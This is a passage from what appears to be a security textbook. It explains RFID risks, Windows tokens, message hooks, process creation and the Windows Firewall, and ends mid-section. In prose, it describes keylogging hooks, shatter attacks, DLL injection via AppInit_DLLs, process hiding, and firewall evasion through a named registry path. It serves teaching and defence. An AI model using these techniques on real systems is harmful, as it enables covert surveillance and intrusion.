tisements to each customer and track his or her location in each store, 
similar to the scenario played out in the film Minority Report.

Any individual or organization considering deploying RFID tech-
nology or carrying RFID-enabled devices should seriously study 
these concerns. Reading RFID tags at long distances allows attackers 
to track carriers without their knowledge. RFID wallets, which block 
signals transmitted by the devices, can provide protection against 
RFID readers. These wallets are typically made of metallic material 
through which radio frequency radiation cannot pass.

RFID tags have many advantages over technologies that require 
optical scans or physical contact. RFID readers can interrogate hun-
dreds of tags at a time to perform complete inventories in a fraction 
of the time required for hand counting; however, using these devices 
for identification and authentication requires the implementation of 
countermeasures to protect against cloning and modification.

1.2 Microsoft Windows Security Principles

1.2.1 Windows Tokens

Access tokens and control lists limit a user’s or program’s access to cer-
tain systems. Granting a user the least privilege required and devel-
oping programs to require minimal privileges are effective ways of 
containing the potential of full system compromise to privilege esca-
lation vulnerabilities.

1.2.1.1 Introduction The inner workings of Microsoft Windows 
access tokens and access control lists for objects such as processes 
and threads are not widely understood. Windows uses access tokens 
(hereafter simply referred to as tokens) to determine if a program can 
perform an operation or interact with an object. In this section, we 
will explain the concept of Windows tokens and process and thread 
access control lists.

1.2.1.2 Concepts behind Windows Tokens Tokens provide the security 
context for processes and threads when accessing objects on a sys-
tem. These objects, also known as securable objects, include all named 
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objects ranging from files and directories to registry keys. Tokens have 
four parts that include an identity, privileges, type, and access con-
trols. Conveniently, Windows tokens share similarities with a driver’s 
license at the conceptual level, and this idea draws analogies between 
the two. Exhibit 1-19 shows a license that is a visual representation of 
a token, and throughout this report, examples will attempt to bridge 
these two concepts together.

A Windows token has a portion called an identity. The token’s 
identity describes to whom the token belongs, much like a driver’s 
license includes the owner’s name. The identity consists of two parts: 
a user and a group, just as the name on a driver’s license consists of 
both a first and last name. If a person were to use a credit card, the 
merchant might ask to see the person’s license to check if the name on 
the credit card is the same as the name listed on the driver’s license. If 
the names matched, the merchant would allow the person to use the 
credit card. In Windows, if a user has access to a directory, Windows 
would check to see if the token had the same user listed. If it is the one 
listed, Windows would grant access to the directory.

The second piece of a token’s identity is the concept of group mem-
berships. Several users can belong to the same group to simplify 
resource access management. For example, if a man visits a local com-
munity center that his family paid to attend, and an employee of the 
facility checks the man’s driver’s license to see if his family’s name is 
registered, the employee would let him use the facility if the names 
matched. Exhibit 1-19 shows the identity of the token by displaying 

Exhibit 1-19 A Windows token represented as a driver’s license.
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the user, group name, administrator, and ADMIN-8F05C726E, 
respectively, as it would on a driver’s license.

A token can have a variable number of groups that allow programs 
to restrict permissions in a more granular fashion. For example, when 
a police officer pulls over a motorcyclist and asks for his or her driver’s 
license, the officer is ensuring that the rider has a motorcycle license 
by checking for an M rating, signifying that the individual completed 
motorcycle riding and safety tests. Similarly, a Windows program 
may not want certain operations carried out by programs using a spe-
cific token. The program may restrict or add groups to a token to allow 
even more fine-grained control. For example, in Exhibit 1-19 above, 
the administrator user belongs to the ADMIN-8F05C726E group 
but also resides in the everyone group.

The privileges of a token specify certain operations that the holder 
of the token can perform. Two of the most familiar privileges are 
SeDebug and SeImpersonate. These privileges specify to the kernel 
what operations the user can perform with kernel objects before access 
control checks are considered.

The SeDebug privilege tells the kernel that the program holding 
this privilege can perform operations on processes and threads, which 
are objects a debugger would need to be able to access, without con-
sidering the access control restrictions on those objects. This concept 
is similar to the organ donor area on a driver’s license. If someone 
involved in a fatal car accident has properly indicated on his or her 
driver’s license that he or she is an organ donor, a hospital may remove 
the organs that the holder has designated without requiring the con-
sent of the person’s surviving relatives.

The SeImpersonate privilege allows the user to impersonate other 
users’ tokens. Typically seen granted to system services, this privi-
lege allows a user to acquire the access and permissions of some-
one else after the user authenticates. When used by a service, the 
service impersonates a client while accessing requested resources on 
the server. An example of this privilege would be if one person took 
another person’s driver’s license to use as his or her own when driving 
a car.

The token also has a type: it can be either a primary token or an 
impersonation token. Primary tokens identify processes, and imper-
sonation tokens identify threads. Other than this assignment, the only 
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other difference is that impersonation tokens also have an associated 
impersonation level.

The impersonation levels are anonymous, identification, imperson-
ation, and delegation. With an anonymous token at its processing whim, 
a program cannot identify the user of the token, nor can it impersonate 
the token. Anonymous tokens do little more than fill function require-
ments that a token exists. Anonymous tokens are like a motorist hav-
ing no driver’s license at all; the motorist is not identifiable.

Identification tokens are the next impersonation level. A program 
that possesses an identification token can inspect the user of the token, 
the group memberships of the token, and any privileges that the token 
has enabled. Identification tokens are useful when a program would 
like to perform its own access checks against a user and is not con-
cerned about allowing the operating system to check permissions. 
Identification tokens are like a motorist having a valid driver’s license; 
the motorist is identifiable.

An impersonation-level token allows a program to perform opera-
tions on behalf of the user of the token on the local system. The pro-
gram that possesses an impersonation-level token can call all of the 
Win32 application programming interfaces (APIs) and have the oper-
ating system perform access checks against the user. Impersonation 
tokens are like having the ability to change the picture and physical 
description on a driver’s license—one can allow anybody to assume 
the identity listed on the driver’s license.

The final level of token is a delegation token. Armed with a delega-
tion token, a program can access both the local system and network 
resources on behalf of the user of the token. Delegation token use is 
common in situations in which the program requires the local operat-
ing system to determine if the user has access to a resource and remote 
systems to check if the user can perform the operation. Delegation 
tokens resemble the ability to modify the picture, physical descrip-
tion, and issuing state of a driver’s license—one can allow anybody to 
assume the identity on the driver’s license and have any state believe it 
is a valid local driver’s license.

1.2.1.3 Access Control Lists Tokens have access control lists that 
describe the access that identities may request when accessing the 
token. These entries on the access control list either explicitly allow 
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or explicitly deny specific types of operations on the token. The token 
can allow or deny reading information from the token, writing infor-
mation to the token, and various other operations on the token to 
specific identities on the system. Together, these components form 
the basis behind tokens on Windows.

Tokens support access restrictions by using groups classified as 
denied. When determining if a token has access to a specific resource, 
Windows checks the access control list first to see if the token has 
access. Then, it will check again to see if the access requested matches 
the access control entry’s access and group. If they match, Windows 
will grant the token access. This is similar to optical restrictions on 
a driver’s license. A police officer may first check to see if the person 
driving the motor vehicle has a license to drive. Then the officer may 
check to see if the driver requires vision correction gear to drive and 
will consider both these pieces of information when developing a case 
against the driver.

These access control lists apply to both processes and threads. They 
allow administration of the level of access granted to various groups 
and users. Process and thread control lists both offer standard access 
rights,32 but differ in the process- and thread-specific access rights.

Process-specific rights are a list of fourteen access permissions that 
apply to processes only. These rights include granular access controls 
that range from reading and writing to creating and terminating pro-
cesses. In addition to these granular permissions, Windows includes 
an all-encompassing right known as PROCESS_ALL_ACCESS, 
which permits all process-specific rights to a user.

Thread-specific rights are thirteen access rights that apply to threads 
only. The permissions allow interaction with threads and include 
rights to suspend, resume, and terminate threads, to name a few. Like 
the process-specific rights, THREAD_ALL_ACCESS permits all 
thread-specific rights to the user.

1.2.1.4 Conclusions Access tokens and control lists limit the amount 
of access a user or program has to a system. Administrators should 
grant users the lowest level of privileges necessary to limit the amount 
of damage caused by compromise or a rogue user. Developers should 
also follow the least privilege stance while coding to reduce the impact 
of application misuse.
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As far as an attacker is concerned, under normal circumstances, 
impersonation tokens with levels of impersonation and delegation are 
the most valuable because they increase an attacker’s access to systems. 
Therefore, access controls gained from proper token use can limit the 
exposure to privilege escalation vulnerabilities and lower the chances 
of full system compromise.

1.2.2 Window Messaging

The window-messaging queue, which handles events such as mouse 
clicks and keyboard input, allows program windows on Microsoft oper-
ating systems to interact. Unfortunately, malicious software may also 
utilize this functionality and even add message hooks for capturing data 
and covert communication. Monitoring window message hooks can 
reveal malicious behavior such as key logging or graphical user input.

Programs that run on Microsoft operating systems with visible 
windows can accept and handle new events using window messaging 
(and the window-messaging queue). Processes may send these mes-
sages to communicate with other processes. For example, window 
messages allow users to interact with a window and input text or use 
the mouse. Sending a window message activates a message hook to 
execute code to handle the event.

Malicious and nonmalicious programs install message hooks to 
process message events. For instance, notepad.exe installs a message 
hook for keyboard (WH_KEYBOARD) and mouse (WH_MOUSE) 
messages to accept user input. Exhibit 1-20 shows message hooks that 
IceSword detects when the user opens notepad.exe.

SetWindowsHookEx is a Windows API function that initiates a 
hook for these messages. It allows the author to execute a new handling 

Exhibit 1-20 IceSword is one tool for viewing message hooks.
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function whenever the program receives a new message.33 Message 
hooks operate correctly under administrator and limited user accounts 
because they are necessary for users to interact with windows. Multiple 
processes can initialize hooks for the same message type (see Exhibit 
1-20). In cases where there are multiple hooks, the most recently ini-
tialized handling functions determine whether to pass the message to 
other handling functions for the same message type.

The system delivers messages using a first in, first out (FIFO) mes-
sage queue or by sending messages directly to a handling function. 
Each thread that has a graphical user interface (GUI) has its own mes-
sage queue, and there is a special message queue for system messages. 
Whenever a window does not accept these messages within a timeout 
period of a few seconds, the window may show “Not Responding” 
until the program handles the message.

When a user logs on, he or she will also call the CreateDesktop 
function, which associates the desktop with the current window sta-
tion. With fast user switching, for instance, multiple users can log on 
at the same time and each has a unique desktop. A desktop restricts 
window messages from other desktops, preventing a user from send-
ing window messages to another active desktop. Each session has a 
unique ID, which may contain one or more desktops. The first user 
to log on always has session zero (Windows XP/2003 or earlier), and 
subsequent users have sessions one, two, and so on. Services also run 
in the same session (zero) as the user who logs on first, allowing the 
user to send or receive window messages for services.

1.2.2.1 Malicious Uses of Window Messages Malicious code authors can 
use window messages and hooks for malicious purposes, including 
monitoring, covert communication, and exploiting vulnerabilities. 
One malicious use of window messages is for monitoring. An attacker 
can use the SetWindowsHookEx function with WH_KEYBOARD 
to install a key logger. The diagram in Exhibit 1-21 shows message 
hooks for the legitimate notepad application and an additional WH_
KEYBOARD message hook for a malicious key logger program, 
which tries to log all the keystrokes that the user types.

Malicious programs may also propagate via autorun with remov-
able devices and use WM_DEVICECHANGE hooks to determine 
when users insert new devices. Even programs running with limited 
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user permissions can intercept messages intended for other processes 
using these types of hooks.

Window messages can also serve as a covert communication chan-
nel that is often invisible to users and administrators. Rootkits or 
other malicious programs can communicate using custom window 
messages. In this way, they can signal other processes and initiate 
new functionalities. Trojan horses can also install backdoor code and 
inject code from dynamic link libraries (DLLs) into other running 
processes using message hooks as the technique to activate the code. 
Attackers also try to hide message hooks to avoid analysts identifying 
their uses or malicious behaviors. Normally, programs initiate a mes-
sage hook within the context of a desktop, which the system creates 
when it initiates a user’s session; however, attackers may also call the 
CreateDesktop function, which allows them to create new window-
messaging contexts. Trojans like Tigger avoid monitoring by creating 
a new desktop, which prevents messages on the default desktop from 
interacting with it.

Window message processing can introduce security vulnerabilities. 
Application code to handle messages can cause programs to crash if 
they do not handle unusual window messages. Privileged processes 
with active windows running on a limited user’s desktop can also 
allow privilege escalation. In 2002, Chris Paget published a paper 
on “shatter attacks” detailing how design flaws could allow privi-
lege escalation in the Win32 API. Paget described the design flaws 
through the window-messaging system that allow a process with lim-
ited user permissions to gain local system privileges. In this attack, an 
attacker already on the system can send a WM_TIMER message to 
a process running as a local system and pass a second parameter con-
taining an address for the timer callback function, which will execute 
with local system privileges.34 Microsoft disabled some more danger-
ous functions related to sending window messages, which could also 

Type KeyUser Input WH_MOUSE Notepad

Message Queue Message Hooks Handling Functions

Type Key WH_KEYBOARD Key Logger Notepad

Exhibit 1-21 Malicious and benign message hooks for a keylogger and notepad.
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allow privilege escalation. According to Paget, the Microsoft fixes 
for this vulnerability only disable certain vulnerable functions but do 
little to prevent the privilege escalation vulnerabilities in the window-
messaging system.

1.2.2.2 Solving Problems with Window Messages Windows Vista is 
less susceptible to shatter attacks due to greater separation of inter-
active sessions. In Vista, users log on to user sessions starting at one 
instead of zero (which Vista reserves for system services). In this way, 
user applications cannot interact with system services that previously 
exposed their window-messaging functionalities. Microsoft has fixed 
problems related to privilege escalation in many of its own interac-
tive services; however, other privileged processes from third-party 
developers still pose a risk to non-Vista users. More information is 
available from the Microsoft Developer Network (MSDN) and Larry 
Osterman’s MSDN blog.35

Services that must run with increased permissions should not use 
interactive windows when they run as a limited user. Alternatives are 
available on Microsoft Windows platforms to perform interprocess 
communication and to limit the effects of privilege escalation attacks. 
Using named pipes and remote procedure calls (RPCs) are some alter-
natives that do not depend on support for sessions, and developers 
should use these instead of window messages to remain compatible 
with Windows Vista.36

Analysts and researchers should monitor window message hooks 
to identify behavior in running programs. Attackers may use window 
messaging for a variety of malicious purposes including monitoring, 
covert communication, and exploitation. Each window message hook 
may reveal functionality of unknown suspicious programs, such as 
graphical user input, key-logging functionality, spreading via remov-
able devices, and custom functionality.

1.2.3 Windows Program Execution

Most people rarely consider the mechanics behind the scenes when 
running a program on their computers. Users have become accus-
tomed to the fact that by simply double clicking an executable or typ-
ing in a command, the operating system will magically load and run 
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the application desired. On the Windows system, this process is much 
more involved than simply clicking a button. The process by which 
the operating system loads, executes, and schedules programs is com-
plex. This section delves into the process of running a program from 
the moment the operating system begins loading the program into 
memory until the moment the program actually begins to execute.

A Windows executable is nothing more than a well-structured 
binary file that resides on a computer’s hard drive. It is not until the 
operating system loads the executable into memory, properly initial-
izes it, and generates a process context that the executable becomes an 
actual program. The procedure by which the operating system turns 
an executable image file into a running process varies slightly depend-
ing on which internal Windows application programming interface 
(API) function call loads the image.

The native Windows API contains a surprisingly large num-
ber of process generation functions, as seen in the top level of the 
hierarchy depicted in Exhibit 1-22. Ultimately, each of these func-
tions (with the exception of the CreateProcessWithLogon and 
CreateProcessWithToken) ends in a call to CreateProcessInternalW, 
which in turn calls NtCreateProcessEx. The exceptions to this trend 
are the CreateProcessWith… functions that ultimately end in a remote 
procedure call (RPC) via NdrClientCall. The RPC call also termi-
nates with a call to the internal NtCreateProcessEx function.

Regardless of the API function used to initiate the process cre-
ation, the basic steps to create the process are the same, since all func-
tions end in a call to NtCreateProcessEx. These eight steps, as defined 
by Microsoft Press’ “Windows Internals,” are displayed in order in 
Exhibit 1-22. These steps make up the core of the Windows pro-
gram execution system. Given the complexity of each of the steps, 
the remainder of this section will explore each step to provide a better 
understanding of what each step involves and how each contributes to 
the execution of a new process.

1.2.3.1 Validation of Parameters The call to NtCreateProcessEx con-
tains a variety of parameters that the function must verify before it 
can attempt to load an executable image. NtCreateProcessEx must 
determine if these parameters are indeed valid and, if so, how they 
will affect subsequent operations. The API function allows the caller 
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to specify the scheduling priority of the new process. Windows pro-
vides a wide range of scheduling priorities that dictate how much of 
the central processing unit’s (CPU’s) time a particular process and its 
associated threads will receive with respect to the other processes run-
ning on the operating system at any given time; however, to set the 
scheduling priority, NtCreateProcessEx must determine the requested 
scheduling priority. The scheduling priority parameter consists of a 
set of independent bytes, each of which specifies a particular priority 
class such as Idle, Below Normal, Normal, Above Normal, High, and 
Real-Time. The function determines the lowest priority scheduling 

Validate Parameters/
Determine Required
Windows Subsystem

Load Image File

Create Process Object

Create Initial �read
(Suspended)

Perform Subsystem
Specific Initialization

Execute Initial �read

Complete Initialization
(Load Required DLLs)

Begin Process Execution

Exhibit 1-22 Windows execution steps.



54	 Cyber	seCurity	essentiAls

© 2011 by Taylor & Francis Group, LLC

class specified and uses this as the priority for the new process. If the 
caller to NtCreateProcessEx specifies that the only scheduling prior-
ity class allowed is Real-Time (a class that attempts to take as much of 
the CPU’s time as possible) and the caller of the function does not have 
sufficient scheduling privileges, NtCreateProcessEx will downgrade 
the request to High but will not prevent the call to NtCreateProcessEx 
from succeeding. When a program calls NtCreateProcessEx without 
an explicit scheduling priority defined, the function defaults to the 
Normal priority.

During the validation-of-parameters phase, NtCreateProcessEx 
assigns various handles and subsystems to address low-level events 
that may occur during the normal course of program execution. The 
function assigns exception-monitoring routines to handle exceptions 
that may occur in the program. The function also establishes whether a 
debugging system is required to handle debugging events. Finally, the 
function determines where the operating system will send data stream 
output if the program chooses not to use a console window (as would be 
the case with graphic applications). If the caller of NtCreateProcessEx 

Validate Parameters/Determine 
Required Windows Subsystem

Determine Validity of Parameters 
to NtCreateProcessEX

Determine Process 
Scheduling Priority

Assign Exception Handlers

Assign Debugging System

Determine Stream 
Output Destination

Assign Process to 
Appropriate Desktop

Exhibit 1-23 Substeps of the validate parameters phase.
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does not specify a Windows desktop for the process, the function 
associates the current user’s desktop with the process.

This prevents a process run by one user on a multiuser version 
of Windows (such as Windows 2003 or 2008) from starting a pro-
gram on the desktop of another user logged onto the same system by 
accident. Exhibit 1-23 details the components of the validation-of-
parameters phase.

1.2.3.2 Load Image, Make Decisions Exhibit 1-24 depicts the steps for 
the Load Image phase. The Windows API supports a limited set of 
executable images. When a user double clicks a .doc file or an .xls file, 
Explorer does not call one of the various CreateProcess functions with 
the given file, but instead maps the file extension to the appropriate 
program using the settings in the registry. The program responsible 
for the .doc or .xls file runs via the CreateProcess API functions. From 
this point on, we will use the generic function name CreateProcess for 
any of the process creation functions shown in Exhibit 1-22.

CreateProcess handles only a few extensions directly (or semidirectly, 
as will be explained shortly). The list of valid extensions that a caller 
can pass to the CreateProcess functions includes .exe, .com, .pif, .cmd, 
and .bat. One of the first steps the CreateProcess function takes dur-
ing this phase is to determine the type of executable image the caller is 
requesting. Windows can support a variety of different applications, as 
indicated in Exhibit 1-25. CreateProcess does not make the determi-
nation of the executable image type by extension alone. The function 
loads the image into a section object37 that maps a view of the file into 
a shared memory region. From the header of the image, the API can 

Load Image File

Load File into Shared Memory

Determine File Image Type

If Necessary, Call CreateProcess to 
Handle Non-native Window32 File

Exhibit 1-24 Load image file steps.
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determine if the image contains a Windows 32- or 64-bit image, an 
MS-DOS image, a POSIX image, or a Windows 16-bit image.

If CreateProcess determines that the image is not a native 32- or 
64-bit Windows image, the exact type of image is determined and the 
function transfers control to the appropriate Windows image proces-
sor. For example, if the image is determined to be a portable operating 
system for a Unix (POSIX) image, CreateProcess calls itself again 
to start the Posix.exe image loader and passes the current executable 
(and its associated arguments) as arguments to Posix.exe. In this way, 
CreateProcess transfers the responsibility for loading the image to the 
image loader (Posix.exe), which has the resources to properly load the 
image into memory and provide the necessary subsystem support to 
execute the image. The image loader is a Windows 32- or 64-bit exe-
cutable, therefore allowing the CreateProcess procedure to continue 
as it would with a native Windows executable.

1.2.3.3 Creating the Process Object So far in this section, we have used 
the term process as the part of the executable that Windows executes, 
but this is not exactly the case. A process is merely a container or an 
object. A process contains the necessary information for the schedul-
ing system of Windows and the other various Windows subsystems 
to maintain the context (or state) of one or more related threads. A 
thread is a self-contained set of executable instructions that interacts 
with the operating system and its related resources through the sys-
tem API. A process must contain a minimum of one thread. Threads 
inside the same process can share memory, but processes do not share 
memory without using special API calls.

APPLICATION TYPE EXTENSIONS RESPONSIBLE WINDOWS IMAGE

Windows 32/64-bit .exe run directly via CreateProcess

Windows 16-bit .exe run via ntvdm.exe

MS-DOS .exe, .com, .pif run via ntvdm.exe

MS-DOS Command File .bat, .cmd run via cmd.exe/command.exe

POSIX run via Posix.exe

OS2 1.x run via Os2.exe

Exhibit 1-25 A support image type by CreateProcess AP.
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Before CreateProcess can create the initial thread, the operating 
system must establish a suitable working environment from the exe-
cutable image. This requires the operating system to construct sev-
eral key data structures such as the Windows EPROCESS38 block, 
the initial memory address space for the executable image, the kernel 
process block (KPROCESS),39 and the program environment block 
(PEB).40 Each of the data structures mentioned plays a key role in the 
execution cycle of a process’s threads and, by extension, the process 
overall. As part of the EPROCESS initialization, the system gives 
the process a process identifier (PID).

The creation of the address space involves establishing the virtual 
memory for the new executable image. Once established, the operat-
ing system maps the section object containing the executable image 
to the new virtual memory space at the base address specified in the 
header of the image. This establishes the new process’s memory space. 
Upon completion of this task, the operating system maps the ntdll.dll 
DLL into the new virtual memory space.

At this point, if the system-auditing component of Windows 
tracks the creation of new processes, the operating system generates 
an entry in the Security event log chronicling the existence of the 
new process.

Finally, CreateProcess registers the new process object with the 
operating system, initiating a series of internal functions responsible 
for the management of the new process. This concludes the initial-
ization and setup of the process object, but additional work remains 
before the process and its initial thread are ready to execute. Exhibit 
1-26 illustrates this step.

1.2.3.4 Context Initialization While the initialization of the pro-
cess object sets the stage for the initial thread, at this point in the 
CreateProcess procedure, the function has yet to establish the thread. 
As a result, the process contains no executable component, merely a 
container where the executable component can exist. To establish the 
initial thread, CreateThread passes control to the kernel, which in 
turn constructs the necessary thread working environment. The ker-
nel creates the initial thread in a suspended state, since at this point 
the thread contains insufficient resources to operate. These insuffi-
ciencies include a missing stack and execution context.
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The kernel uses the execution context when switching between 
threads. The execution context stores the current state, or context, 
of a thread prior to switching to a new thread. Likewise, when the 
kernel reactivates a thread once it has been given CPU time, the ker-
nel uses the context information to restore the thread’s execution at 
the point that it was last active. With the context and stack estab-
lished, CreateProcess calls the kernel to insert the thread into the 
list of threads. This process generates a new Thread ID for the thread 
and initializes several data structures. The function leaves the thread 
suspended at this point since the function still must load the remain-
ing subsystems and dependencies required by the image. Exhibit 1-27 
visualizes the steps associated with this phase.

1.2.3.5 Windows Subsystem Post Initialization With the major-
ity of the process container and initial thread initialized and ready, 
CreateProcess must initialize the Windows subsystem. The Windows 
subsystem is responsible for the interface between the user and the 
kernel spaces. This subsystem establishes the working environment for 
applications by providing support for console windows, graphical user 
interface (GUI) windows, thread and process management services, 

Create Process Object

Establish Working Environment for 
Executable Image

Create Virtual Memory Address 
Space

Map ntdll.dll to New Address 
Space

Record Entry in Windows Security 
Event Log

Register Process Object with 
Operating System

Exhibit 1-26 Create process object steps.
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and miscellaneous other services. Without a suitable environmental 
subsystem, an application would be unable to function given the lack 
of interface between the application and the kernel.

As part of the Windows subsystem post initialization, the operat-
ing system checks the validity of the executable to determine if the 
subsystem should permit the executable image to run. This check 
involves verifying the executable against group policies established 
by the administrator, and in the case of Windows Web Server 2008 
and Windows HTC Server 2008, the subsystem verifies the imported 
APIs to ensure the image does not use restricted APIs. CreateProcess 
instructs the Windows subsystem that a new process (and its thread) 
is waiting for initialization, requiring the subsystem to perform more 
low-level initializations. While exploring each of these low-level ini-
tialization steps is outside the scope of this article, what is important 
to understand is how the Windows subsystem handles the introduc-
tion of a new process object.

The Windows subsystem (via the Csrss.exe process) receives a copy 
of the process and its thread’s handles along with any necessary flags. 
CreateProcess gives the Windows subsystem the PID of the process 
responsible for the call to the CreateProcess function. The Windows 
subsystem in turn allocates a new process block inside the csrss pro-
cess and ties in the necessary scheduling priorities, as defined earlier in 
the CreateProcess procedure, along with a default exception handler. 
The subsystem stores this information internally and registers the new 

Create Initial �read (Suspended)

Kernel Generates Initial �read

Execution Context for 
�read Created

Stack for Initial �read 
is Established

Kernel Assigns the Initial �read 
a �read ID

Exhibit 1-27 The initial thread creation phase.
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process object within the list of subsystem-wide processes. The pro-
cess’s initial thread is still in the suspended state at this point, but the 
Windows subsystem activates the application start cursor (the cursor 
with the small hourglass or the circular icon on Vista or later). This 
icon will appear for up to two seconds while waiting for the primary 
thread to engage the GUI of the application. As seen in Exhibit 1-28, 
the subsystem initialization phase requires more steps than the other 
phases detailed thus far.

1.2.3.6 Initial Thread … Go! By the end of the subsystem initial-
ization phase, the process has all of the necessary information and 
access control tokens41 required to begin execution. Unless the caller 
of CreateProcess specified the CREATE_SUSPENDED flag set for 
the process, the operating system begins the initial thread to continue 
the last step of the initialization process. The initial thread begins by 
running KiThreadStartup42 to set up the necessary kernel-level attri-
butes such as the interrupt request level (IRQL).43 KiThreadStartup in 

Perform Subsystem 
Specific Initialization

Validity of Executable Image is 
Verified by Operating System

Inform the Windows Subsystem 
of the Process

Windows Subsystem Generates a 
Process ID (PID) for the New Process

Windows Subsystem Generates 
Process Block Inside csrss

Windows Subsystem Establishes 
Scheduling Priority for New Process

Windows Subsystem Initiates the 
“Waiting” Cursor Icon

Exhibit 1-28 The subsystem initialization phase.
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turn calls PspUserThreadStartup, which begins by setting the locale 
ID and processor type in the thread execution block (TEB) specific 
to the executable’s header.

If the process has a user mode or kernel mode debugger attached, 
the kernel informs the appropriate debugger of the creation of the new 
process. If the debugger requests that the kernel kill the thread, the 
operating system immediately terminates the thread. If the admin-
istrator has enabled prefetching on the system, the prefetcher44 acti-
vates. The prefetcher allows the operating system to load a binary 
faster by using a single data block to reference information from the 
last time the same binary ran. Coordinating the necessary informa-
tion into a data structure that the prefetcher can load in a single disk 
read significantly reduces the time associated with excessive random 
access disk reads.

The function PspUserThreadStartup initializes the system-wide 
stack cookie if it has not done so already. This cookie prevents general 
stack overflow attacks45 by setting a value near the end of a function’s 
stack frame. Before a function returns, the stack cookie’s integrity is 
verified. If the function cannot verify the integrity of the cookie, the 
function generates an exception that the binary must address or allows 
the operating system to terminate the process as a safety precaution. 
Exhibit 1-29 displays the steps required by this phase.

1.2.3.7 Down to the Final Steps The system initializes the thread local 
storage (TLS) and fiber local storage (FLS) arrays. The result of this 
is the possible creation of a preemptive thread as defined in the trans-
port layer security (TLS) configuration.

Once the necessary data structures are established, the system pro-
cesses the import table of the executable image. This table results in 
the various required DLLs loading and their entry points being called. 
For each DLL loaded, the loader passes the entry point function, the 
DLL_PROCESS_ATTACH flag, to indicate to the DLL that a new 
process has loaded it. Exhibit 1-30 details this short phase.

The CreateProcess function has now initialized the executable 
image, registered the necessary data structures with kernel and the 
Windows subsystem, and loaded the necessary resources to allow 
the initial thread to execute. With this in mind, the system begins 
the execution of the initial thread for the new process. After the 
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Execute Initial �read
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IRQL and Other Kernel-Level 
Attributes Established
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If Required, a Debugger is Created

Prefetching Begins

Stack Cookie Established

Exhibit 1-29 Execution of the initial thread phase.

Complete Initialization 
(Load Required DLLs)

�read-Local Storage (TLS) and 
Fiber-Local Storage (FLS) Initialized

Generate Additional Preemptive 
�read If Necessary for TLS

Import Table Processed

Required DLLs Loaded

Exhibit 1-30 Completion of the process initialization phase.
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process’s thread begins, the separation between the process that called 
CreateProcess and the new process is complete, and CreateProcess 
returns to the caller with the new process’s PID. Exhibit 1-31 shows 
this final phase.

1.2.3.8 Exploiting Windows Execution for Fun and Profit Given the vari-
ety of data structures and steps required to generate and execute a process 
(and its threads), there are undoubtedly areas where malicious actors 
may exploit these data structures to hide their nefarious activities. One 
of the most common methods, rootkits, can hide a process by mask-
ing out the process object. The function ZwQuerySystemInformation 
provides information about various system attributes, including the 
list of running processes. When malicious code hooks this function, 
it is possible to prevent the caller from seeing all processes, effectively 
hiding a running malicious executable.

During the DLL loading phase, the operating system queries a 
registry entry called HKEY_LOCAL_MACHINE\Software\
Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs 
to determine additional DLLs to load at the start of the new process’s 
initial thread execution. This gives attackers the ability to load their 
own custom DLLs into every running process on victims’ systems 
without the affected process’s binaries explicitly requesting the mali-
cious DLL.

As described above, the process to take an executable program file 
and turn that file into running code is highly involved. Fortunately, 
the Windows API masks the majority of the operation behind a subset 
of API functions. The encapsulation of the low-level details of process 
creation frees the developer from writing code that could lead to poten-
tially devastating results if done poorly, although accessing functions 

Begin Process Execution

Calling Process and New 
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CreateProcess Returns PID 
of New Process

Exhibit 1-31 The process begins.
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directly still provides plenty of opportunity to construct malicious 
executables. While Windows does attempt to hide the majority of the 
underlying data structures associated with process management, mali-
cious code authors, especially those who develop rootkits, have man-
aged to exploit key aspects of the process management system to hide 
their processes. Sometimes, having a bit more transparency might help 
situations like this. At the very least, additional controls should be in 
place to prevent such tampering from going unnoticed.

1.2.4 The Windows Firewall

With the release of Windows XP SP2, Microsoft Corporation pro-
vided users with a built-in firewall in hopes of protecting its users 
from network threats. Before this release, to protect themselves from 
network attacks, Windows users had to purchase third-party firewall 
products such as Zone Alarm or Black Ice. Many users did not under-
stand the need for firewall software, and as a result, the users of the 
older Windows operating systems were left largely exposed.

With the introduction of the Windows Firewall, also known as 
the Internet Connection Firewall (ICF), Microsoft institutionalized 
the use of a limited-functionality firewall to prevent a large number of 
network attacks. The Windows Firewall is a stateful firewall, meaning 
that the firewall monitors network connections that originate from 
the user and denies connections that do not originate from the user. 
By default, this type of firewall denies any incoming network connec-
tion that the user did not initiate while allowing user-initiated con-
nection out to the network. Moreover, the Windows Firewall in Vista 
and Windows Server 2008 has the ability to deny outbound connec-
tions on a port-by-port basis. Exhibit 1-32 depicts this behavior.

The Windows Firewall consists of relatively few components:46 a 
network driver, a user interface, and a network service. The core of the 
Windows Firewall is located in the IPNat.sys network driver. This 
driver is responsible for not only the Windows Firewall but also the 
network address translation (NAT) functionality of the operating sys-
tem. The driver registers itself as a “firewall hook driver” to determine 
if the firewall should allow or disallow a connection (inbound or out-
bound). The determination of which connections to allow or disallow 
is derived from the list of approved applications and ports supplied by 
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the user through the user interface component. The user interface, as 
seen in Exhibit 1-33, allows the user to define which applications and 
which ports the system allows in and out of the Windows Firewall.

The Internet Connection Firewall and Internet Connection Sharing 
(ICF/ICS) service handles the translation of the firewall rules from 
the user interface to the IPNat.sys driver. In the event that the ICF/
ICS server shuts down, the firewall functionality of the operating sys-
tem is disabled. This is one way that malicious code can circumvent 
the restrictions imposed by the Windows Firewall.

The overall system involved in the Windows Firewall appears, on 
the surface, to be a rather simplistic three-component system and, 
from a malicious code author’s perspective, there are numerous ways 
to get around the firewall. As mentioned previously, simply disabling 
the ICF/ICS service is the fastest way to evade the firewall. The side 
effect of this action is the immediate security popup, seen in Exhibit 
1-34, indicating that the firewall is now disabled. This brute force 
approach to disabling the firewall can be immediately apparent; how-
ever, malicious code authors can suppress the security alert using the 
Windows application programming interface (API). Regardless of 
the suppression of the alert, the fact remains that the malicious code 
has clearly disabled the service, giving the victim warning that some-
thing has compromised the system.

A more subtle approach adopted by many malicious code families 
involves adding the offending malicious code to the list of approved 
applications. As seen previously in Exhibit 1-33, the Windows Firewall 
retains a list of applications that the user has approved for network 
access. When the user first engages the Windows Firewall, only a 
very small number of entries are present in the list. In recent Windows 
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Exhibit 1-32 Windows Firewall’s stateful firewall operation.
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Exhibit 1-33 Windows Firewall user interface.
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versions, such as Vista and Server 2008, the user must explicitly enable 
common applications, such as Internet Explorer, for the application to 
have access to the network. For the malicious code author to add the 
malicious code to a list of authorized applications, the author must 
either modify the registry directory or use the Windows API. To add 
itself to the list of Windows Firewall–authorized applications, the 
malicious code adds an entry to the following registry branches:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Ser v ices\SharedAccess\Parameters\Firewa l lPol icy\
StandardProfile\AuthorizedApplications\List

